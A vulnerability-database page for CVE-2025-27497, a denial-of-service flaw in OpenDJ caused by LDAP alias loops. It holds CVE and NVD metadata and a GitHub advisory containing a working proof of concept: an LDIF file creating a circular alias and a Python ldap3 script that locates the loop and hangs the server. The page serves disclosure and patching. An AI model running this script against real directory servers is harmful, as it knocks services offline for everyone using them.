Vulnerability-Lookup

CVE-2025-27497 (GCVE-0-2025-27497)

Vulnerability from cvelistv5 – Published: 2025-03-05 15:59 – Updated: 2025-03-05 16:16

Title

OpenDJ Denial of Service (Dos) using alias loop

Summary

OpenDJ is an LDAPv3 compliant directory service. OpenDJ prior to 4.9.3 contains a denial-of-service (DoS) vulnerability that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests. Fortunately, the server can be restarted without data corruption. This vulnerability is fixed in 4.9.3.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-03-05 16:16 UTC

CWE

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/OpenIdentityPlatform/OpenDJ/se…	x_refsource_CONFIRM
https://github.com/OpenIdentityPlatform/OpenDJ/co…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
OpenIdentityPlatform	OpenDJ	Affected: < 4.9.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-27497",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-05T16:16:31.816174Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-05T16:16:49.762Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OpenDJ",
          "vendor": "OpenIdentityPlatform",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.9.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenDJ is an LDAPv3 compliant directory service. OpenDJ prior to 4.9.3 contains a denial-of-service (DoS) vulnerability that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to \"always\" on this alias entry, the server stops responding to all future requests. Fortunately, the server can be restarted without data corruption. This vulnerability is fixed in 4.9.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-835",
              "description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-03-05T15:59:01.702Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593"
        },
        {
          "name": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf"
        }
      ],
      "source": {
        "advisory": "GHSA-93qr-h8pr-4593",
        "discovery": "UNKNOWN"
      },
      "title": "OpenDJ Denial of Service (Dos) using alias loop"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-27497",
    "datePublished": "2025-03-05T15:59:01.702Z",
    "dateReserved": "2025-02-26T18:11:52.304Z",
    "dateUpdated": "2025-03-05T16:16:49.762Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2025-27497",
      "date": "2026-10-02",
      "epss": "0.00389",
      "percentile": "0.30668"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "OpenDJ",
                "vendor": "OpenIdentityPlatform",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 4.9.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "OpenDJ is an LDAPv3 compliant directory service. OpenDJ prior to 4.9.3 contains a denial-of-service (DoS) vulnerability that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to \"always\" on this alias entry, the server stops responding to all future requests. Fortunately, the server can be restarted without data corruption. This vulnerability is fixed in 4.9.3."
          },
          {
            "lang": "es",
            "value": "OpenDJ es un servicio de directorio compatible con LDAPv3. Las versiones anteriores a la 4.9.3 de OpenDJ contienen una vulnerabilidad de denegaci\u00f3n de servicio (DoS) que hace que el servidor deje de responder a todas las solicitudes LDAP sin bloquearse ni reiniciarse. Este problema se produce cuando existe un bucle de alias en la base de datos LDAP. Si se ejecuta una solicitud ldapsearch con la desreferenciaci\u00f3n de alias configurada en \"siempre\" en esta entrada de alias, el servidor deja de responder a todas las solicitudes futuras. Afortunadamente, el servidor se puede reiniciar sin que se produzcan da\u00f1os en los datos. Esta vulnerabilidad se solucion\u00f3 en la versi\u00f3n 4.9.3."
          }
        ],
        "id": "CVE-2025-27497",
        "lastModified": "2026-06-17T09:03:42.817",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2025-27497",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-05T16:16:31.816174Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2025-03-05T16:15:40.587",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-835"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2025-05-28T17:30:35+00:00",
      "cve": "CVE-2025-27497",
      "id": "CVE-2025-27497",
      "initial_release_date": "2025-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "OpenDJ Denial of Service (Dos) using alias loop",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-27497.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2025-27497",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2025-03-05T16:16:31.816174Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2025-03-05T16:16:41.009Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "OpenDJ",
              "vendor": "OpenIdentityPlatform",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 4.9.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "OpenDJ is an LDAPv3 compliant directory service. OpenDJ prior to 4.9.3 contains a denial-of-service (DoS) vulnerability that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to \"always\" on this alias entry, the server stops responding to all future requests. Fortunately, the server can be restarted without data corruption. This vulnerability is fixed in 4.9.3."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-835",
                  "description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2025-03-05T15:59:01.702Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593"
            },
            {
              "name": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf"
            }
          ],
          "source": {
            "advisory": "GHSA-93qr-h8pr-4593",
            "discovery": "UNKNOWN"
          },
          "title": "OpenDJ Denial of Service (Dos) using alias loop"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2025-27497",
        "datePublished": "2025-03-05T15:59:01.702Z",
        "dateReserved": "2025-02-26T18:11:52.304Z",
        "dateUpdated": "2025-03-05T16:16:49.762Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2025-27497

Vulnerability from fkie_nvd - Published: 2025-03-05 16:15 - Updated: 2026-06-17 09:03

Severity

8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf
	security-advisories@github.com	https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "OpenDJ",
          "vendor": "OpenIdentityPlatform",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.9.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenDJ is an LDAPv3 compliant directory service. OpenDJ prior to 4.9.3 contains a denial-of-service (DoS) vulnerability that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to \"always\" on this alias entry, the server stops responding to all future requests. Fortunately, the server can be restarted without data corruption. This vulnerability is fixed in 4.9.3."
    },
    {
      "lang": "es",
      "value": "OpenDJ es un servicio de directorio compatible con LDAPv3. Las versiones anteriores a la 4.9.3 de OpenDJ contienen una vulnerabilidad de denegaci\u00f3n de servicio (DoS) que hace que el servidor deje de responder a todas las solicitudes LDAP sin bloquearse ni reiniciarse. Este problema se produce cuando existe un bucle de alias en la base de datos LDAP. Si se ejecuta una solicitud ldapsearch con la desreferenciaci\u00f3n de alias configurada en \"siempre\" en esta entrada de alias, el servidor deja de responder a todas las solicitudes futuras. Afortunadamente, el servidor se puede reiniciar sin que se produzcan da\u00f1os en los datos. Esta vulnerabilidad se solucion\u00f3 en la versi\u00f3n 4.9.3."
    }
  ],
  "id": "CVE-2025-27497",
  "lastModified": "2026-06-17T09:03:42.817",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-27497",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-03-05T16:16:31.816174Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-03-05T16:15:40.587",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-835"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-93QR-H8PR-4593

Vulnerability from github – Published: 2025-03-05 18:33 – Updated: 2025-03-05 18:33

Summary

OpenDJ Denial of Service (DoS) using alias loop

Details

Summary

A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests. I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.

Details

An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.

PoC (Steps to Reproduce)

Set up an OpenDJ server instance as usual, using the base DN dc=example,dc=com
Import the attached example_data_alias_dos.ldif file into the LDAP database
Ensure that the ldap3 Python library is installed (pip install ldap3)
Run the attached Python script python opendj_alias_dos.py, which searches for alias loops and executes the DoS attack
After executing the script, the server will stop responding to requests until it is restarted

Impact

This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:

result: 80 Other (e.g., implementation specific) error
text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.

example_data_alias_dos.ldif

dn: dc=example,dc=com
objectClass: top
objectClass: domain
dc: example

dn: ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: people
description: All users

dn: ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: students
description: All students

dn: uid=jd123,ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
mail: jd123@example.com
sn: Doe
cn: John Doe
givenName: John
uid: jd123

dn: ou=employees,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: employees
description: All employees

dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
uid: jd123

dn: ou=researchers,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: researchers
description: All reasearchers

dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com
uid: jd123

opendj_alias_dos.py

import argparse

from ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS
from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError


def connect_to_ldap(ip, port):
    try:
        server = Server(ip, port, get_info=ALL)
        connection = Connection(server, auto_bind=True)
        return connection
    except (LDAPBindError, LDAPSocketOpenError) as e:
        print(f"Error connecting to LDAP server: {e}")
        return None


def find_aliases(connection, base_dn):
    try:
        search_filter = "(objectClass=alias)"
        connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=["*"])
    except Exception as e:
        print(f"Error during search: {e}")

    aliases = {}
    for entry in connection.entries:
        entry_dn = entry.entry_dn
        entry_alias = entry.aliasedObjectName.value
        aliases[entry_dn] = entry_alias

    return aliases


def detect_alias_loop(aliases):
    visited = set()
    path = set()

    def dfs(alias):
        if alias in path:
            return alias
        if alias in visited:
            return None

        path.add(alias)
        visited.add(alias)

        aliased_target = aliases.get(alias)
        if aliased_target:
            result = dfs(aliased_target)
            if result:
                return result

        path.remove(alias)
        return None

    for alias in aliases:
        if alias not in visited:
            loop_alias = dfs(alias)
            if loop_alias:
                return loop_alias

    return None


def execute_dos_search(connection, looping_alias_dn):
    try:
        search_filter = "(objectClass=*)"
        connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)
    except Exception as e:
        print(f"Error during search: {e}")

    for entry in connection.entries:
        entry_dn = entry.entry_dn
        print(entry_dn)


def main():
    parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.")
    parser.add_argument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.")
    parser.add_argument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.")
    parser.add_argument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.")
    args = parser.parse_args()

    if not args.ip:
        args.ip = input("Please enter the IP address of the LDAP server: ")

    if not args.port:
        while True:
            try:
                port_input = input("Please enter the port of the LDAP server: ")
                args.port = int(port_input)
                break
            except ValueError:
                print("Invalid input. Please enter a valid integer for the port.")

    if not args.base:
        args.base = input("Please enter the base DN of the LDAP server: ")

    connection = connect_to_ldap(args.ip, args.port)
    if connection:
        aliases = find_aliases(connection, args.base)
        looping_alias_dn = detect_alias_loop(aliases)
        if looping_alias_dn:
            execute_dos_search(connection, looping_alias_dn)
            print(f"DOS executed with alias: {looping_alias_dn}")
        else:
            print("No looping alias DN found!")
        connection.unbind()


if __name__ == "__main__":
    main()

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openidentityplatform.opendj:opendj-server-legacy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27497"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-05T18:33:30Z",
    "nvd_published_at": "2025-03-05T16:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an `ldapsearch` request is executed with alias dereferencing set to \"always\" on this alias entry, the server stops responding to all future requests.\nI have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.\n\n### Details\nAn unauthenticated attacker can exploit this vulnerability using a single crafted `ldapsearch` request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.\n\n### PoC (Steps to Reproduce)\n1. Set up an OpenDJ server instance as usual, using the base DN `dc=example,dc=com`\n2. Import the attached `example_data_alias_dos.ldif` file into the LDAP database\n3. Ensure that the `ldap3` Python library is installed (`pip install ldap3`)\n4. Run the attached Python script `python opendj_alias_dos.py`, which searches for alias loops and executes the DoS attack\n5. After executing the script, the server will stop responding to requests until it is restarted\n\n### Impact\nThis vulnerability directly affects server availability for everyone using it. A single `ldapsearch` request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:\n```\nresult: 80 Other (e.g., implementation specific) error\ntext: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.\n```\n\n**example_data_alias_dos.ldif**\n```\ndn: dc=example,dc=com\nobjectClass: top\nobjectClass: domain\ndc: example\n\ndn: ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: people\ndescription: All users\n\ndn: ou=students,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: students\ndescription: All students\n\ndn: uid=jd123,ou=students,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: inetOrgPerson\nobjectClass: organizationalPerson\nobjectClass: person\nmail: jd123@example.com\nsn: Doe\ncn: John Doe\ngivenName: John\nuid: jd123\n\ndn: ou=employees,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: employees\ndescription: All employees\n\ndn: uid=jd123,ou=employees,ou=people,dc=example,dc=com\nobjectClass: alias\nobjectClass: top\nobjectClass: extensibleObject\naliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com\nuid: jd123\n\ndn: ou=researchers,ou=people,dc=example,dc=com\nobjectClass: top\nobjectClass: organizationalUnit\nou: researchers\ndescription: All reasearchers\n\ndn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com\nobjectClass: alias\nobjectClass: top\nobjectClass: extensibleObject\naliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com\nuid: jd123\n```\n\n**opendj_alias_dos.py**\n```Python\nimport argparse\n\nfrom ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS\nfrom ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError\n\n\ndef connect_to_ldap(ip, port):\n    try:\n        server = Server(ip, port, get_info=ALL)\n        connection = Connection(server, auto_bind=True)\n        return connection\n    except (LDAPBindError, LDAPSocketOpenError) as e:\n        print(f\"Error connecting to LDAP server: {e}\")\n        return None\n\n\ndef find_aliases(connection, base_dn):\n    try:\n        search_filter = \"(objectClass=alias)\"\n        connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=[\"*\"])\n    except Exception as e:\n        print(f\"Error during search: {e}\")\n\n    aliases = {}\n    for entry in connection.entries:\n        entry_dn = entry.entry_dn\n        entry_alias = entry.aliasedObjectName.value\n        aliases[entry_dn] = entry_alias\n\n    return aliases\n\n\ndef detect_alias_loop(aliases):\n    visited = set()\n    path = set()\n\n    def dfs(alias):\n        if alias in path:\n            return alias\n        if alias in visited:\n            return None\n\n        path.add(alias)\n        visited.add(alias)\n\n        aliased_target = aliases.get(alias)\n        if aliased_target:\n            result = dfs(aliased_target)\n            if result:\n                return result\n\n        path.remove(alias)\n        return None\n\n    for alias in aliases:\n        if alias not in visited:\n            loop_alias = dfs(alias)\n            if loop_alias:\n                return loop_alias\n\n    return None\n\n\ndef execute_dos_search(connection, looping_alias_dn):\n    try:\n        search_filter = \"(objectClass=*)\"\n        connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)\n    except Exception as e:\n        print(f\"Error during search: {e}\")\n\n    for entry in connection.entries:\n        entry_dn = entry.entry_dn\n        print(entry_dn)\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Search LDAP for circular alias references.\")\n    parser.add_argument(\"ip\", type=str, nargs=\"?\", default=None, help=\"The IP address of the LDAP server.\")\n    parser.add_argument(\"port\", type=int, nargs=\"?\", default=None, help=\"The port of the LDAP server.\")\n    parser.add_argument(\"base\", type=str, nargs=\"?\", default=None, help=\"The base DN of the LDAP server.\")\n    args = parser.parse_args()\n\n    if not args.ip:\n        args.ip = input(\"Please enter the IP address of the LDAP server: \")\n\n    if not 